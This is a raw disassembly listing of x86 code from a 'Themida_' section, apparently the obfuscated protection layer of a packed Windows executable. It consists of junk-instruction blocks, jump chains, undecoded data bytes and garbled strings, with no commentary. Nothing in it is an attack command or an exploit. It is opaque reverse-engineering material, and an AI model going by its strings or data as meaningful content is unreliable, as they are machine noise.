		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55EE2C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 815B5453h, 4C3h, 4EB8100h, 33000000h, 1C31241Ch
		dd 241C3324h, 243C895Ch, 0BE565F54h, 4,	4F58E9h, 67E95200h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D277:				; CODE XREF: Themida_:0055D755j
		xor	ebp, eax
		jmp	loc_56D990
; ---------------------------------------------------------------------------


loc_55D27E:				; CODE XREF: Themida_:00566365j
		shr	edi, 7
		xor	edi, 9B21F8Eh
		add	eax, edi
		pop	edi
		jmp	loc_5695E6
; ---------------------------------------------------------------------------
		db 81h
		dd 2DEB5DEBh, 5BDE29C8h, 7016C681h, 0C6012EAFh,	7016EE81h
		dd 53572EAFh, 473AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D2AD:				; CODE XREF: Themida_:00565F1Cj
		pop	ax
		mov	ah, bh
		pop	ebx
		and	ah, 4Ch
		push	dx
		mov	dh, 0DDh
		xor	ah, dh
		mov	dx, [esp]
		add	esp, 2
		add	dh, ah
		jmp	loc_56B597
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 10h
		dd 0C12BC923h, 0F68108EEh, 41544A05h, 472BE9h, 81E28900h
		dd 4C2h, 4BB5300h, 1000000h, 0B63AE9DAh, 0EFC10000h, 0B1B85006h
		dd 0C115C025h, 0E8C106E0h, 0F3D4E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D306:				; CODE XREF: Themida_:005672ECj
		mov	ecx, 67952DA3h
		sub	eax, 6EED5E6Ah
		sub	eax, ecx
		push	ebx
		mov	ebx, 45047542h
		neg	ebx
		jmp	loc_55D794
; ---------------------------------------------------------------------------
aSa_0		db ']é+',0
		db 0
; ---------------------------------------------------------------------------


loc_55D325:				; CODE XREF: Themida_:0056598Bj
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56DD4D
; ---------------------------------------------------------------------------
		db 5, 86h, 4
		dd 7DE91281h, 0D10000DAh, 1EF681EEh, 2963A8C0h,	3FE95EF3h
		dd 5000069h, 5F2127F9h,	0F92DF001h, 2D5F2127h, 40AF06B1h
		dd 6856535Eh, 45157A52h, 8124348Bh, 4C4h, 57E68100h, 46015714h
		dd 1057F681h, 0F3890115h, 8124348Bh, 4C4h, 5BD80100h, 2474FF50h
		dd 9396E904h, 0F3300000h, 0E2CB805Ah, 0E9ADF380h, 0B5F2h
		dd 0EC83525Ah, 48F5404h, 4B95124h, 1000000h, 5904244Ch
		dd 8124148Bh, 4C4h, 4C28100h, 83000000h, 148704C2h, 81685C24h
		dd 8900002Fh, 0E955240Ch, 8B02h
; ---------------------------------------------------------------------------


loc_55D3E8:				; CODE XREF: Themida_:0056DF2Ej
		mov	esp, [esp]
		movzx	ecx, ax
		push	ebp
		push	6F19h
		jmp	loc_56BCD2
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 5
		dd 0CB80D3F6h, 16C380A8h, 111EBE9h, 34CC6800h, 0C890000h
		dd 34FF5424h, 0C4835924h, 9F07E904h, 83470000h,	3C8904ECh
		dd 0E77EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D42A:				; CODE XREF: Themida_:00562944j
		pop	esp
		and	edi, 44BA27FEh
		not	edi
		jmp	loc_563E0F
; ---------------------------------------------------------------------------
		dd 7AC78158h, 0FF0C7909h, 66E92434h, 0BE000035h, 37146F27h
		dd 1EB5EE81h, 0C4E908B0h, 0FF000014h, 55582434h, 242C8B54h
		dd 54C0E9h, 5BD93100h, 1107AE9h, 242C8900h, 5C4B0868h
		dd 0C2815D3Eh, 678F6F70h, 4468EA29h, 8900000Ah,	0ACE9240Ch
		dd 8B000059h, 0F8E92434h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D493:				; CODE XREF: Themida_:0055D1C2j
		sub	ebp, edi
		pop	edi
		push	edx
		mov	edx, ebp
		mov	ebx, edx
		pop	edx
		pop	ebp
		jmp	loc_56E823
; ---------------------------------------------------------------------------
aBksoqSxj	db '¹ksoQ[éåj',0
		align 2
		dw 0C501h
		dd 6E5C158h, 241CF755h,	4831E95Dh, 9A0D0000h, 2D29C44Ch
		dd 1F631699h, 1161B605h, 99F0536h, 0C20172A7h, 10B8EE9h
		dd 6E2C000h, 0B93BE9h, 24343300h, 33243431h, 78E92434h
		db 0BDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D4EF:				; CODE XREF: Themida_:00560D79j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		push	6134h
		mov	[esp], edi
		mov	edi, 4
		push	edi
		jmp	loc_55FFE2
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0EC6FE904h, 0EA830000h, 7103E904h, 3C8B0000h, 4C48324h
		dd 54B85055h, 0BD20ED6Ch, 20ED6C50h, 158C531h, 0C875DE9h
		dd 0C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56EAA9
; ---------------------------------------------------------------------------
aSvskb		db 'SVék¡',0
		align 4
		dd 0E9C1665Fh, 66916608h, 9166D0F7h, 5E1C166h, 66E9D166h
		dd 8712C181h, 59CE8966h, 66F30166h, 2434FF5Eh
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 7C27423Dh
		add	edi, 83D8BDC7h
		add	ebp, edi
		jmp	loc_565F5A
; ---------------------------------------------------------------------------


loc_55D587:				; CODE XREF: Themida_:0056393Fj
		mov	edx, ebx
		pop	ebx
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_564917
; ---------------------------------------------------------------------------
		dw 1489h
		dd 45AEBA24h, 0D1090AD5h, 0E983415Ah, 0EDBD5501h, 454CA508h
		dd 92DFE9h, 0A4C18100h,	293D7312h, 0A4E981C1h, 583D7312h
		dd 2C1815Fh, 33000000h,	0C31240Ch, 240C3324h, 6624248Bh
		dd 0E924048Bh, 5013h
; ---------------------------------------------------------------------------


loc_55D5E0:				; CODE XREF: Themida_:005648D8j
		pop	eax
		xor	edi, 129532A6h
		not	edi
		not	edi
		and	edi, 3CAD49EFh
		sub	edi, 2C840987h
		jmp	loc_563CF9
; ---------------------------------------------------------------------------
		dd 1C8BD821h, 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 3108E8C1h, 2C8750C8h, 0E9D5F724h, 7D32h, 0FFDF2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D629:				; CODE XREF: Themida_:00565C25j
		add	esp, 4
		push	3638h
		mov	[esp], edx
		push	esp
		jmp	loc_56E358
; ---------------------------------------------------------------------------
		db 21h,	0CEh, 0E9h
		dd 0FFFFF287h, 8143D3F7h, 81D3BDF3h, 17A9E934h,	0EC830001h
		dd 243C8904h, 5C69B0BFh, 5FFE0103h, 0EE81DE29h,	35C69B0h
		dd 752EEE81h, 34FF20A8h, 241C8B24h, 5004C483h, 0BA52E089h
		dd 4, 0F164EA05h, 0FB3E909h, 0EC810000h, 4, 0BB241C89h
		dd 7FF5734Ah, 3246CB81h, 43432D35h, 80D0E955h, 248B0000h
		dd 0E9545024h, 0E681h, 96EB80h,	96C380C3h, 8BAFE9h, 0E9805800h
		dd 0E9CA282Ch, 0A76Eh, 85E9DBF7h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D6CF:				; CODE XREF: Themida_:00569150j
		pop	edx
		shr	edx, 6
		xor	edx, 4B83243Dh
		shl	edx, 5
		add	edx, 0A8CA9D8Eh
		mov	eax, edx
		pop	edx
		sub	esp, 4
		jmp	loc_568E56
; ---------------------------------------------------------------------------


loc_55D6ED:				; CODE XREF: Themida_:0055F233j
		mov	ebp, esi
		pop	esi
		shl	ebp, 8
		push	eax
		jmp	loc_56BACC
; ---------------------------------------------------------------------------
aS_Esq		db '½s.ÔEéQÐ',0
		db 0
; ---------------------------------------------------------------------------


loc_55D703:				; CODE XREF: Themida_:00565264j
		and	ecx, 73A44523h
		inc	ecx
		dec	ecx
		and	ecx, 68993D44h
		add	ecx, 44650A22h
		xor	ebx, ecx
		jmp	loc_56F958
; ---------------------------------------------------------------------------


loc_55D71E:				; CODE XREF: Themida_:0056F1BBj
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		push	7E5B598Bh
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	ebp, 6CBE451Ch
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7EFF5D9Dh
		jmp	loc_55D277
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 0E9D2F758h, 8062h
; ---------------------------------------------------------------------------


loc_55D764:				; CODE XREF: Themida_:00561B3Fj
		add	esp, 4
		jmp	loc_56069A
; ---------------------------------------------------------------------------
		db 88h
		dd 88D1F6F1h, 1B7FE9CEh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55D77A:				; CODE XREF: Themida_:0055CAB9j
		sub	ebp, 4
		jmp	loc_561A28
; ---------------------------------------------------------------------------
		dw 0CEE9h
		dd 51FFFFDDh, 5192C2B9h, 0E9CB2992h, 0B821h
; ---------------------------------------------------------------------------


loc_55D794:				; CODE XREF: Themida_:0055D31Aj
		or	ebx, 43ED39E9h
		jmp	loc_56813E
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	ah, dl
		jmp	loc_55E767
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0A4D6E900h, 1C330000h,	241C3124h, 5C241C33h, 0E9241489h
		dd 0FFFFE463h
; ---------------------------------------------------------------------------


loc_55D7E0:				; CODE XREF: Themida_:0056E47Ej
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, 5ACA1A14h
		add	ecx, ebp
		jmp	loc_56CFA9
; ---------------------------------------------------------------------------
		db 30h
		dd 48B66E3h, 2C48124h, 0
		dd 241C8BD8h, 4C481h, 21680000h, 89000069h, 0E953240Ch
		dd 11F73h
; ---------------------------------------------------------------------------


loc_55D828:				; CODE XREF: Themida_:0056862Ej
					; Themida_:0056FB8Bj
		push	6DBDh
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55E44E
; ---------------------------------------------------------------------------
		align 2
		dw 66F8h
		dd 0E95AB151h, 0FFE1h, 0C8B665Ch, 5AA6824h, 4890000h, 0D4EEE924h
		dd 0D9310000h, 0BC23E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D85E:				; CODE XREF: Themida_:00568511j
		pop	esp
		push	33D3h
		mov	[esp], eax
		mov	eax, 0B105CE5h
		push	ebp
		push	56F14CCDh
		mov	ebp, [esp]
		jmp	loc_56FC3B
; ---------------------------------------------------------------------------


loc_55D87A:				; CODE XREF: Themida_:0056D1EBj
		push	1D74h
		mov	[esp], ecx
		mov	ecx, 15D809B9h
		jmp	loc_55C47A
; ---------------------------------------------------------------------------
		dd 81DFF75Eh, 6907F3C7h, 3EE78128h, 814DCC17h, 0B7F902C7h
		dd 247C01F6h, 348B5F04h, 4C48124h, 81000000h, 4C6h, 4EC8100h
		dd 89000000h, 0E5BF243Ch, 8149A65Ch, 0A65CE3EFh, 0C7E95149h
		dd 8100008Ch, 4C6h, 4C68100h, 0E9000000h, 0F633h
; ---------------------------------------------------------------------------


loc_55D8E0:				; CODE XREF: Themida_:0055FEFEj
		mov	esp, [esp]
		jmp	loc_55EF75
; ---------------------------------------------------------------------------
		dd 0DC67E9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D8EE:				; CODE XREF: Themida_:0055F68Cj
		push	edx
		push	7DDB62CDh
		pop	edx
		jmp	loc_56A791
; ---------------------------------------------------------------------------
aRs_0		db 'Ré[&',0
		align 10h
		dd 925D27BDh, 0F58171h,	0C105CF66h, 0CD8106EDh,	41B5344Dh
		dd 1609ED81h, 0EF091FC7h, 0BE56475Dh, 21F121Eh,	0F749E94Eh
		dd 4B8FFFFh, 1000000h, 10EDE9C7h, 0F660001h, 9C2404B3h
		dd 0FFDC14E9h, 0F50159FFh, 73168h, 241C8900h, 0F4608BBh
		dd 2CB95153h, 91FEE41h,	0EB8359CBh, 0F9F381FFh,	1107E58h
		dd 875E5BDDh, 0ADE9242Ch, 8300009Bh, 9DE904C4h,	5A000019h
		dd 0EB80C328h, 6CC38068h, 8FC0B60Fh, 0CAE98704h, 83FFFFDBh
		dd 0B6E904C0h, 8B0000C6h, 0D3662424h, 0E99C2424h, 0FFFFDBB5h
		dd 0D1C5E95Ah, 4890000h, 5BFCB824h, 0B43549C6h,	2D30C40Dh
		dd 6745E2BAh, 0E904E8C1h, 3FD3h
; ---------------------------------------------------------------------------


loc_55D9C0:				; CODE XREF: Themida_:00567D19j
		mov	ecx, 354815F8h
		sub	ecx, 354815F4h
		add	edi, 3EA72C31h
		add	edi, ecx
		sub	edi, 3EA72C31h
		pop	ecx
		push	edi
		push	7345h
		jmp	loc_56E555
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 2
		dd 1000000h, 0FF505AD0h, 0FF042474h, 0E9582434h, 4706h
; ---------------------------------------------------------------------------


loc_55D9FC:				; CODE XREF: Themida_:0055DD17j
		not	ah
		and	ah, 7Fh
		jmp	loc_564E42
; ---------------------------------------------------------------------------


loc_55DA06:				; CODE XREF: Themida_:0055E7D9j
		mov	ecx, [esp]
		jmp	loc_562678
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 49DC2413h, 6DF4E781h, 0F7810008h, 59F10E42h,	4EA2B850h
		dd 0C7312419h, 23AE0558h, 0F80168C1h, 0C123AE2Dh, 243C8B68h
		dd 4C481h, 0C8B0000h, 4C48324h,	5C240487h, 240C8B66h, 4EC81h
		dd 0C890000h, 0C8B5424h, 4C48124h, 0E9000000h, 0DC91h
; ---------------------------------------------------------------------------


loc_55DA64:				; CODE XREF: Themida_:0056D910j
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_568EF4
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 6896E924h, 0FF590000h, 835D2434h
		dd 0C68304C4h, 7DB95101h, 8152BD70h, 0AB2D94E9h, 7E9C147h
		dd 63F5C181h, 0E9817B5Ah, 983B1A00h, 0C8BCE31h,	4C48324h
		dd 7DDE9h, 24248900h, 4240481h,	58000000h, 0D80CE955h
		dd 4BD0000h, 89000000h,	57685DEFh, 8900007Eh, 0F0B82404h
		dd 0E97E1910h, 8CE9h
; ---------------------------------------------------------------------------


loc_55DAF4:				; CODE XREF: Themida_:005684FBj
		push	esp
		pop	eax
		push	ecx
		jmp	loc_55BF4B
; ---------------------------------------------------------------------------
		dd 0E95EF189h, 5CE6h
; ---------------------------------------------------------------------------


loc_55DB04:				; CODE XREF: Themida_:0055F60Dj
		add	esp, 4
		jmp	loc_566D50
; ---------------------------------------------------------------------------
		dd 942306BEh, 43EE8166h, 0E93861E9h, 8B55h, 0E9240C8Bh
		dd 3152h
; ---------------------------------------------------------------------------


loc_55DB24:				; CODE XREF: Themida_:0055D22Dj
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	0D986035h
		pop	ecx
		push	edx
		mov	edx, 59C50527h
		not	edx
		push	eax
		mov	eax, 6C5C5A03h
		sub	edx, eax
		pop	eax
		or	edx, 77DA6A11h
		and	edx, 0E5C68D5h
		add	edx, 0C31039Ah
		jmp	loc_56C3FF
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4ECh, 24348900h, 4F466852h, 815A51C3h, 48011DF2h, 68F2812Ch
		dd 8333597Eh, 0E6E904ECh, 8700001Ah, 248B241Ch,	0F1F76624h
		dd 0AF3EE9h, 1C77FF00h,	6659669Dh, 9C2414D3h, 0FFD9B4E9h
		dd 32E957FFh
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DBA7:				; CODE XREF: Themida_:00565D20j
		mov	edi, esp
		add	edi, 4
		push	6EF7h
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_567EB6
; ---------------------------------------------------------------------------


loc_55DBD4:				; CODE XREF: Themida_:0056E78Ej
		dec	ebx
		sub	ebx, 4BFDA871h
		mov	esi, ebx
		jmp	loc_56B4B3
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 26824h, 0AEE90000h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DBEF:				; CODE XREF: Themida_:00565DC5j
		push	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 22401360h
		mov	edi, esi
		jmp	loc_56808A
; ---------------------------------------------------------------------------
		dw 875Bh
		dd 248B2404h, 2434FF24h, 6824048Bh, 59C2h, 89243C89h, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 0F7DBE95Ch, 53ADFFFFh, 0D27720BBh
		dd 0FFBA5203h, 1FFFFFFh, 24148BD3h, 4C481h, 0BD550000h
		dd 1, 815DEB29h, 0C6BE9EC3h, 2EBA5225h,	120A875h, 0CC81E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DC62:				; CODE XREF: Themida_:0056529Fj
		mov	ebp, edx
		pop	edx
		sub	ecx, 2C622297h
		jmp	loc_55CDB0
; ---------------------------------------------------------------------------
aWssa		db 'Wé™',0
		align 2


loc_55DC76:				; CODE XREF: Themida_:0055FD8Aj
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 689450FCh
		jmp	loc_564CC0
; ---------------------------------------------------------------------------


loc_55DC86:				; CODE XREF: Themida_:0056A7C1j
		mov	edx, 2
		jmp	loc_55F758
; ---------------------------------------------------------------------------
		dd 1E325BBBh, 0A9F38121h, 292DE535h, 241C8BD9h,	0FA21E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DCA5:				; CODE XREF: Themida_:00564509j
		xchg	ecx, [esp]
		jmp	loc_56E2EE
; ---------------------------------------------------------------------------


loc_55DCAD:				; CODE XREF: Themida_:0056E767j
		mov	ebp, 4
		add	esi, 15941116h
		add	esi, 7DE026CEh
		jmp	loc_567187
; ---------------------------------------------------------------------------
		dd offset aYmbak@Se	; "ÍYMíª@>Â\tê]ée\t"
		align 4
aISB		db '‰,$éÌb',0
		align 10h
		dd 0CBE9E289h
		db 0Fh,	1, 0
; ---------------------------------------------------------------------------


loc_55DCD7:				; CODE XREF: Themida_:00566085j
		add	ebx, edi
		jmp	loc_5631AB
; ---------------------------------------------------------------------------


loc_55DCDE:				; CODE XREF: Themida_:0055CA9Fj
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5621E7
; ---------------------------------------------------------------------------
		db 4Bh
		dd 108B8E9h, 2434FF00h,	4C4835Eh, 52E9C231h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD03:				; CODE XREF: Themida_:005702C0j
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_56BDC0
; ---------------------------------------------------------------------------


loc_55DD11:				; CODE XREF: Themida_:0056A837j
		inc	ah
		dec	ah
		dec	ah
		jmp	loc_55D9FC
; ---------------------------------------------------------------------------


loc_55DD1C:				; CODE XREF: Themida_:0055C3BFj
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		jmp	loc_5653C7
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 69535B44h
		push	eax
		mov	eax, 3E82352Fh
		dec	eax
		and	eax, 71C74BFFh
		shr	eax, 6
		shr	eax, 8
		or	eax, 5A4A1CEDh
		xor	eax, 331985ADh
		jmp	loc_562874
; ---------------------------------------------------------------------------
a3Sfb		db '3<$éä',0
		db 0
; ---------------------------------------------------------------------------


loc_55DD59:				; CODE XREF: Themida_:0056BF9Cj
		mov	edi, edx
		pop	edx
		jmp	loc_56BA15
; ---------------------------------------------------------------------------
		db 5Bh,	0FEh, 0CDh
		dd 0F6EB8853h, 5BDD88D3h, 5006EDC0h, 8055B551h,	0EC887CF5h
		dd 0A910E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DD7D:				; CODE XREF: Themida_:0056AA46j
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_56DFDF
; ---------------------------------------------------------------------------


loc_55DD87:				; CODE XREF: Themida_:0057063Bj
		xchg	edi, [esp]
		jmp	loc_560364
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5352515Bh, 9C0990BBh, 0B7CB815Ah, 8103EF0Bh,	527097C3h
		dd 0FBCB8134h, 81298547h, 2A8003C3h, 15EDE946h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55DDB6:				; CODE XREF: Themida_:0056B5BEj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56755A
; ---------------------------------------------------------------------------


loc_55DDD3:				; CODE XREF: Themida_:00564462j
		push	ecx
		jmp	loc_56A3D0
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 62h
		dd 817F891Fh, 0FA398BC3h, 5BDA010Ah, 3890C681h,	0D60125E2h
		dd 10C23E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DDF5:				; CODE XREF: Themida_:0056B146j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_56CD2B
; ---------------------------------------------------------------------------
		db 35h,	0E5h, 0B0h
		dd 0C629EF07h, 24148B58h, 11139E9h, 0C5315900h,	0E924048Bh
		dd 412Bh, 0F66F1F6h, 6866CCB6h,	89661883h, 0EEE9240Ch
		dd 810000CFh, 4ECh, 24148900h, 42474FFh, 0E240E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DE4A:				; CODE XREF: Themida_:0056AAECj
		dec	eax
		not	eax
		sub	eax, 0BFD4211Bh
		sub	ecx, eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	bl, al
		push	edx
		push	1C5Fh
		mov	[esp], edi
		mov	edi, 1C3831D0h
		mov	edx, 1C383208h
		sub	edx, 74145E11h
		sub	edx, 408177C8h
		sub	edx, edi
		add	edx, 408177C8h
		add	edx, 74145E11h
		pop	edi
		push	edi
		mov	edi, 23E75EFEh
		sub	edx, edi
		pop	edi
		sub	edx, 2AFB7EB8h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_569317
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0C3h
		dd 241C8758h, 3024248Bh, 0E99C2404h, 0BB02h
; ---------------------------------------------------------------------------


loc_55DEE4:				; CODE XREF: Themida_:0056200Ej
		pop	esp
		push	ebx
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5692AA
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 4BE5604h, 1000000h, 24348BF3h, 3304C483h, 0D3E9241Ch
		dd 5E000079h, 0DEEDC681h, 0F58901E5h, 0E950E95Eh, 0C89FFFFh
		dd 0C680E924h, 0EB880000h, 0E95BDC88h, 2529h, 8101EF83h
		dd 0F04AC6F7h, 97F78168h, 8152D717h, 0C72D3BEAh, 3DEA810Fh
		dd 2904EC14h, 3DC281FAh, 0E904EC14h, 0FFFFE7D2h
; ---------------------------------------------------------------------------


loc_55DF54:				; CODE XREF: Themida_:00562EB6j
		add	esp, 4


loc_55DF57:				; CODE XREF: Themida_:0055C1B6j
		push	ebx
		jmp	loc_56558C
; ---------------------------------------------------------------------------


loc_55DF5D:				; CODE XREF: Themida_:00565478j
		add	edx, edi
		sub	edx, 58F00797h
		add	edx, 2AFB7EB8h
		push	ebx
		mov	ebx, 23E75EFEh
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[edx], al
		jmp	loc_57021D
; ---------------------------------------------------------------------------
		db 5Bh,	86h, 3Ch
		dd 241C8B24h, 0EC74E9h,	12C36800h, 0C890000h, 2FED6824h
		dd 0E9592F08h, 0D891h, 148BD101h, 4C48324h, 7328F181h
		dd 0D9F75A6Ch, 7929C981h, 0F18112CEh, 0F7CFFD3Bh, 8759C801h
		dd 55C2404h, 0B8E18F26h, 8158C101h, 2C1h, 0E0895000h, 556BE56h
		dd 0C14632BBh, 0C68105EEh, 0FE6A27DAh, 515EF001h, 3958E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DFFE:				; CODE XREF: Themida_:00564E27j
		mov	[esp], eax
		jmp	loc_569936
; ---------------------------------------------------------------------------
		dw 0F180h
aLaO		db 'l€Â®',0
		db 0CAh, 80h, 0EAh
		dd 0EAC059AEh, 48C28002h, 805AD030h, 0C38099EBh, 66C30045h
		dd 1830E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E02A:				; CODE XREF: Themida_:00566191j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_56D81F
; ---------------------------------------------------------------------------


loc_55E040:				; CODE XREF: Themida_:0055FDD7j
		push	571Ah
		mov	[esp], edx
		mov	dl, 8Ah
		mov	bl, 0D3h
		add	bl, 4Bh
		add	bl, dl
		sub	bl, 4Bh
		pop	edx
		push	edx
		mov	dh, bl
		mov	ch, dh
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		push	ecx
		mov	ch, 36h
		add	ch, 6Ah
		inc	ch
		xor	ch, 0F6h
		add	ch, 84h
		xor	ch, 0Eh
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5681C7
; ---------------------------------------------------------------------------
		db 80h
		dd 0C68069C6h, 2EEC05Ch, 0DB04E953h, 248BFFFFh,	240CD224h
		dd 0D4BBE99Ch, 74FFFFFFh, 7FE90424h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E0A3:				; CODE XREF: Themida_:005629CFj
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6E17h
		mov	[esp], edx
		mov	edx, 25B51330h
		jmp	loc_563A20
; ---------------------------------------------------------------------------
		db 2Dh
		dd 44630BD8h, 4EC835Bh,	0E9241C89h, 0D97Bh, 8B24048Fh
		dd 89662424h, 77E92404h, 57000063h, 4BFh, 5FF80100h, 0D636E9h
		dd 1E24BD00h, 0CD8114EEh, 687B7B4Bh, 4E5C145h, 52E3C581h
		dd 0E9017640h, 161FE95Dh, 0A3B80000h, 0E9427F22h, 4283h
; ---------------------------------------------------------------------------


loc_55E110:				; CODE XREF: Themida_:0056F059j
		pop	edx
		shl	edx, 4
		xor	edx, 59983B3Ah
		sub	edx, 0B4DE237Ah
		mov	eax, edx
		pop	edx
		add	eax, edi
		push	ebx
		push	0
		jmp	loc_55B980
; ---------------------------------------------------------------------------
		dd 375CE981h, 0E9567817h, 1191Bh, 0E9243C33h, 0B28Dh, 0E20D48BAh
		dd 78E95216h, 81000125h, 497B71EAh, 93DCE935h, 34890000h
		dd 3706BE24h, 0D6F723C2h, 57D0EE81h, 0E68151B5h, 22E40242h
		dd 4BA52h, 0D6310280h, 22D0E95Ah, 148B0001h, 4C48324h
		dd 2E0DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E189:				; CODE XREF: Themida_:00565897j
		mov	ebx, ecx
		pop	ecx
		xor	esi, ebx
		jmp	loc_560581
; ---------------------------------------------------------------------------
		db 1
		dd 14335EF2h, 24143124h, 0FFD79CE9h, 0D1295DFFh, 0E9C8015Ah
		dd 0E888h
; ---------------------------------------------------------------------------


loc_55E1AC:				; CODE XREF: Themida_:0056CE64j
		push	ecx
		push	edx
		mov	edx, 78E5061h
		or	edx, 1FCD0D19h
		not	edx
		shr	edx, 2
		sub	edx, 8B56D69Dh
		mov	ecx, edx
		pop	edx
		add	eax, ecx
		pop	ecx
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5698EA
; ---------------------------------------------------------------------------


loc_55E1D8:				; CODE XREF: Themida_:0056091Ej
		xor	esi, 70F36536h
		jmp	loc_56985C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56BF0D
; ---------------------------------------------------------------------------
		dd 5604EE83h, 42474FFh,	1E0FE9h, 0D34FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E206:				; CODE XREF: Themida_:00568BF6j
		mov	ebp, 13FA2F20h
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_56E202
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 5Eh
